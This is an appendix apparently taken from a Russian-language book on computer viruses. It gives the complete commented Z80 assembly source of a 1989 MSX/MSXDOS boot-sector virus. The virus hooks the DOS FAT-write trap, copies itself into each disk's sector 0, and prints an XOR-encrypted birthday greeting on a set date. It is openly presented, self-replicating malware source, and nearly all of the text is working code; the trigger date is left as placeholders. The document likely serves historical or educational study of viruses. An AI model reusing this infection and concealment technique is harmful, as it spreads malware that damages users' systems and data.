\page ▄Приложение V. ┬Исходный текст программы-вируса ; ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬│ ; ┴ Вирус, поздравляющий с днем рождения ┴ ; ┴ для машин MSX, MSX2 в ОС MSXDOS ┴ ; ┴ П.Земцов, Е.Налимов, Новосибирск, июль 1989 г. ┴ ; ┌┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┐ ; .Z80 .phase 0 ; Для кодирования текстов; ; В памяти программа всегда находится с ; с "круглого" адреса ; Адреса в ПЗУ дисковода. Совпадают на MSX и MSX2 CHPUT equ 408Fh ; Выдача символ в A на экран DSKRD equ 46BAh ; Чтение секторов. ; Вход: H - число секторов ; L - номер дисковода ; DE - номер сектора ; Выход: считанные сектора в памяти, ; по адресу, записанному в StDMA DSKWR equ 4720h ; Запись секторов, интерфейс совпадает с ; интерфейсом DSKRD DateIn equ 553Ch ; Выдает в HL дату: D = месяц, E = день ; BootPage equ 0C000h ; По адресу Bootpage загружается половина ; нулевого сектора диска в момент рестар╨ StEntry equ 001Fh ; та по адресу Bootpage + StEntry попада╨ ; ет управление после загрузки нулевого ; сектора ; Адреса системных ячеек DOS StDMA equ 0F23Dh ; Адрес данных для подпрограмм дискового ; обмена StDrive equ 0F2E1h ; Номер текущего дисковода HIMEM equ 0F34Bh ; Здесь в момент загрузки системы записан ; адрес свободной памяти: вся память по ; адресам, меньшим записанного здесь, сво╨ ; бодна BUFFER equ 0F34Dh ; Адрес одного из буферов ДОСа; длина бу╨ ; фера 512 байт (длина одного сектора) Begin equ 0F351h ; В момент загрузки системы указывает на ; адрес загрузки 0 сектора; После загруз╨ ; ки его сюда половина его (байты от ; (Begin) до (Begin)+0FFh) переписывается ; по адресу Bootpage SETROM equ 0F368h ; Признак нахождения в DOS или в BASIC: ; в BASIC содержит 0C3h (команду RET) ; Адреса в области ловушек Hook equ 0F26Dh ; Ловушка на записи FAT Hook2 equ 0FDC7h ; Ловушка на INITPAT Hook2Place equ 0FF11h ; Место для Hook2 ; Константы .RET equ 0C9h month equ ** ; День, в который срабатывает вирус day equ ** ; Часть, работающая в момент загрузки системы. ; ┌Назначение:─ захватить 256 байт памяти для размещения вируса, перепи╨ ; сать туда весь вирус, подключить ловушки Hook и Hook2 и вернуться. ; Если дата равна дате срабатывания, вызвать "полезный" эффект. VBeg: push af push de push hl ld de,Rettable-VBeg add hl,de ld de,BootPage+StEntry ld bc,6 ldir ld hl,(HIMEM) ld l,c ; Разместились с границы страницы dec h ; ld (HIMEM),hl ; Получили 1 страницу ; ex de,hl ; Переслать тело ловушки на место pop hl push de inc b ldir pop hl ; Установить ловушки ld l,low HookBody ld (Hook+1),hl push hl ld a,0C3h ld (Hook),a ld (Hook2),a ld l,low Hook2Body ld de,Hook2Place+1 ld (Hook2+1),de ld c,Hook2Len ldir call DateIn ; Проверить дату ld hl,month*256+day xor a sbc hl,de pop hl ld l,low PutMess jr z,jhl pop de pop af pop hl jp BootPage+StEntry ; Для вызова нашей подпрограммы в момент загрузки системы необходимо, ; чтобы в байтах StEntry..StEntry+5 0-го сектора был записан код для ; вызова инициализатора вируса. Именно он и называется "Образец". Но ; после завершения инициализации необходимо выполнить и те действия, ; код для которых в незараженном 0-м секторе находится по данным адре╨ ; сам. ; Самый простой способ это сделать - это хранить "старые" 6 байтов и, ; получив управление, переписать их на их законное место, и передать ; затем управление по адресу BootRage+StEntry. Именно этот старый код и ; находится в таблице Rettable - его туда помещает распространяющая ви╨ ; рус часть. Rettable: ds 6,0 ; Образец (тоже 6 байтов) push hl ld hl,(Begin) inc h jhl: jp (hl) ; Собственно ┌текст поздравления.─ Он хранится в обратном порядке с целью ; оптимизации кода. Текст зашифрован, чтобы случайное прочтение 0-го ; сектора не выдало вирус. Для зашифровки используется операция XOR, ; примененная к байту текста и младшему байту адреса char MACRO par db (par) xor low $ endm char 0 char '!' char ' ' char 'я' char 'и' char 'н' char 'е' char 'д' char 'ж' char 'о' char 'р' char ' ' char 'м' char 'е' char 'н' char 'д' char ' ' char 'с' char ' ' char 'у' char 'ш' char 'а' char 'т' char 'а' char 'Н' char ' ' char 'м' char 'е' char 'я' char 'л' char 'в' char 'а' char 'р' char 'д' char 'з' char 'о' char 'П' char ' ' char ' ' char 20h+1 char 20h+11 char 'Y' char 01Bh char 00Ch ; Собственно тело ловушки - полезная работа + размножение HookBody: push ix push iy call DateIn ld hl,month*256+day xor a sbc hl,de jr nz,neq ; Видимый эффект вируса - ┌выдача поздравления PutMess: ld hl,(Hook+1) Loop: dec l ld a,(hl) xor l LoopL: jr z,LoopL call CHPUT jr Loop ; ┌Размножение вируса.─ С диска считывается 0-й сектор (незараженный), ; в его вторую половину записывается вирус и устраивается переход ; на него в момент загрузки, затем 0-й сектор записывается назад. neq: ld hl,(stDMA) ; Сохранить старое значение адреса обмена push hl ; ld hl,(Buffer) ; Установить адрес обмена равным адресу push hl ; буфера DOS ld (stDMA),hl ; ld d,a ; Считать 0-й сектор ld e,a ld hl,(StDrive) ld h,1 call DSKRD ld bc,StEntry pop hl ; Если сектор уже заражен, то ничего не add hl,bc ; делать ld a,(hl) .8080 cpi (push h) .z80 jr z,Return ; Модифицировать сектор ld de,(Hook+1) ; Сохранение старых 6 байтов считанного ld e,low Rettable ; сектора ld c,6 ; (байты StEntry..StEntry+5) push hl ldir ex de,hl ; Запись кода для перехода pop de ; в инициализатор вируса ld c,6 ldir ld l,c ; Перепись самого вируса в байты ld de,(Buffer) ; 100h..1FFh считанного сектора inc d inc b ldir ld d,c ; Запись 0-го сектора ld e,c ld hl,(StDrive) ld h,1 call DSKWR Return: pop hl ; Восстановление старого значения адреса ld (stDMA),hl ; обмена pop iy pop ix ret ; Отключению ловушек в при переходе в BASIC. Вызывается из подпрограммы ; INITPAT, которая устанавливает для BASIC режим экрана и начертание ; символов. Она вызывается всегда при переходе в BASIC, поэтому это ; удобное место для "перехвата" такого перехода с целью отключения ви╨ ; руса Hook2Body: ld a,(SETROM) cp .RET ; Каждый 5-й байт равен .RET ret nz nop nop ld a,.RET ld (HOOK),a ld a,.RET ld (HOOK2),a ret Hook2Len equ $-Hook2Body .dephase END